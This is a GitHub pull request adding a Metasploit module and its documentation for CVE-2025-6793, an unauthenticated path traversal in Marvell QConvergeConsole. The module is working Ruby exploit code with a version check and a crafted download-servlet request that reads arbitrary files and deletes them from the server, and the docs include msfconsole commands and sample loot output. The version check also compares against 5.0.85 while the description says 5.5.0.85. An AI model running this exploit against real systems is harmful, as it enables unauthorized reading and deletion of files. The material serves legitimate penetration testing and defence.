Skip to content
Merged
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Comment thread
dledda-r7 marked this conversation as resolved.
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
## Vulnerable Application

This module exploits a path traversal vulnerability in Marvell QConvergeConsole <= v5.5.0.85 (CVE-2025-6793) to read arbitrary files from
the system. No authentication is required to exploit this issue.
Note that whatever file is retrieved will be deleted from the server it was fetched from.

## Testing

The software can be obtained from
[the vendor](https://www.marvell.com/content/dam/marvell/en/drivers/marvell/qcc-gui-management-installer-for-windows--x64--5-5-0-78/Windows_QCC_GUI_64_v5.5.0.78.zip).

By default, the Apache Tomcat server listens on TCP ports 8080 (HTTP) and 8443 (HTTPS) on all network interfaces and runs in the context of
NT AUTHORITY\\SYSTEM.

**Successfully tested on**

- Marvell QConvergeConsole v5.5.0.78 on Windows 22H2
- Marvell QConvergeConsole v5.5.0.81 on Windows 22H2

## Verification Steps

1. Install and run the application
2. Start `msfconsole` and run the following commands:

```
msf > use auxiliary/gather/qconvergeconsole_traversal
msf auxiliary(gather/qconvergeconsole_traversal) > set RHOSTS <IP>
msf auxiliary(gather/qconvergeconsole_traversal) > run
```

This should return the win.ini file from the server. Any files retrieved will be deleted from the server and stored locally as loot.

## Options

### TARGET_FILE
The file to be retrieved from the file system. By default, this is win.ini. However, any arbitrary file can be specified.

Example: win.ini

### TARGET_DIR
Folder where the TARGET_FILE is located.

Example: C:\Windows

## Scenarios

Running the exploit against v5.0.78 on Windows 22H22 should result in an output similar to the following:

```
msf auxiliary(gather/qconvergeconsole_traversal) > run
[*] Running module against 192.168.137.238
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable version detected: v5.0.78
[+] File retrieved: C:\Windows\win.ini
[*] File saved as loot: /home/asdf/.msf4/loot/20260416003715_default_192.168.137.238_qconvergeconsole_558041.txt
[*] Auxiliary module execution completed

```

The file will be stored as loot:

```
msf auxiliary(gather/qconvergeconsole_traversal) > loot

Loot
====

host service type name content info path
---- ------- ---- ---- ------- ---- ----
192.168.137.238 qconvergeconsole.file win.ini text/plain File retrieved through QConvergeConsole path traversal (CVE-2025-6793). /home/asdf/.msf4/loot/20260416003826_default_192.168.137.238_qconvergeconsole_201403.txt

```
131 changes: 131 additions & 0 deletions modules/auxiliary/gather/qconvergeconsole_traversal.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,131 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Marvell QConvergeConsole Path Traversal (CVE-2025-6793)',
'Description' => %q{
This module exploits a path traversal vulnerability (CVE-2025-6793) in Marvell QConvergeConsole <= v5.5.0.85 to retrieve arbitrary files from the system. No authentication is required to exploit this issue.
Note that whatever file will be retrieved, will also be deleted from the remote server.
},
'Author' => [
'Michael Heinzl', # MSF Module
'rgod' # Discovery
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-6793'],
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-450/']
],
'DisclosureDate' => '2025-06-27',
'DefaultOptions' => {
'RPORT' => 8443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'The base path for QConvergeConsole', 'QConvergeConsole']),
OptString.new('TARGET_FILE', [false, 'The file path to read from the target system.', 'win.ini']),
OptString.new('TARGET_DIR', [true, 'The folder where the file is located.', 'C:\Windows'])
]
)
end

def check
# code is obfuscated, retrieve file reference through gwt.Main.nocache.js
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(
target_uri.path, 'com.qlogic.qms.hba.gwt.Main', 'com.qlogic.qms.hba.gwt.Main.nocache.js'
)
})

return Exploit::CheckCode::Unknown('No response from server') unless res&.code == 200

# e.g., BB025677C3CC9C8B12F0CB2553088424
strong_name = res.body.match(/Sb='([A-Fa-f0-9]{32})'/)&.captures&.first
strong_name ||= res.body.match(/([A-Fa-f0-9]{32})\.cache\.html/)&.captures&.first

return Exploit::CheckCode::Unknown('Could not determine GWT strong name') unless strong_name
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

maybe detected here?

Comment thread
dledda-r7 marked this conversation as resolved.
Outdated

vprint_status("GWT strong name: #{strong_name}")

res2 = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(
target_uri.path, 'com.qlogic.qms.hba.gwt.Main', "#{strong_name}.cache.html"
)
})

return Exploit::CheckCode::Unknown('Could not retrieve cache file') unless res2&.code == 200
Comment thread
dledda-r7 marked this conversation as resolved.
Outdated

data = res2.body

# Grab the first occurrence of a v5.0.x version; obfuscated response contains other version identifiers too for other components
match = data.match(/'v(5\.0\.\d+)'/i) || data.match(/v(5\.0\.\d+)/i)

return Exploit::CheckCode::Unknown('No version string found') unless match
Comment thread
dledda-r7 marked this conversation as resolved.
Outdated

version = Rex::Version.new(match[1])

vprint_status("Detected version: #{version}")

if version <= Rex::Version.new('5.0.85')
return Exploit::CheckCode::Appears("Vulnerable version detected: #{version}")
end

Exploit::CheckCode::Detected("QConvergeConsole detected (version #{version})")
Comment thread
dledda-r7 marked this conversation as resolved.
Outdated
end

def run
folder = URI.encode_www_form_component(datastore['TARGET_DIR'])
file = URI.encode_www_form_component(datastore['TARGET_FILE'])

uri = normalize_uri(
target_uri.path,
'com.qlogic.qms.hba.gwt.Main',
'QLogicDownloadServlet'
)

uri = "#{uri}?folder=#{folder}&file=#{file}"
vprint_status("Request: #{uri}")
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
Comment thread
dledda-r7 marked this conversation as resolved.

fail_with(Failure::UnexpectedReply, 'No response from server') unless res
fail_with(Failure::UnexpectedReply, "HTTP #{res.code}") unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Invalid path or file does not exist (empty body)') if res.body.nil? || res.body.empty?

print_good("File retrieved: #{File.join(datastore['TARGET_DIR'], datastore['TARGET_FILE'])}")

path = store_loot('qconvergeconsole.file', 'application/octet-stream', datastore['RHOSTS'], res.body, datastore['TARGET_FILE'], 'File retrieved through QConvergeConsole path traversal (CVE-2025-6793).')
Comment thread
h4x-x0r marked this conversation as resolved.
print_status("File saved as loot: #{path}")

report_service(
host: rhost,
port: rport,
proto: 'tcp',
name: 'https',
info: 'Marvell QConvergeConsole'
)
end
end
Loading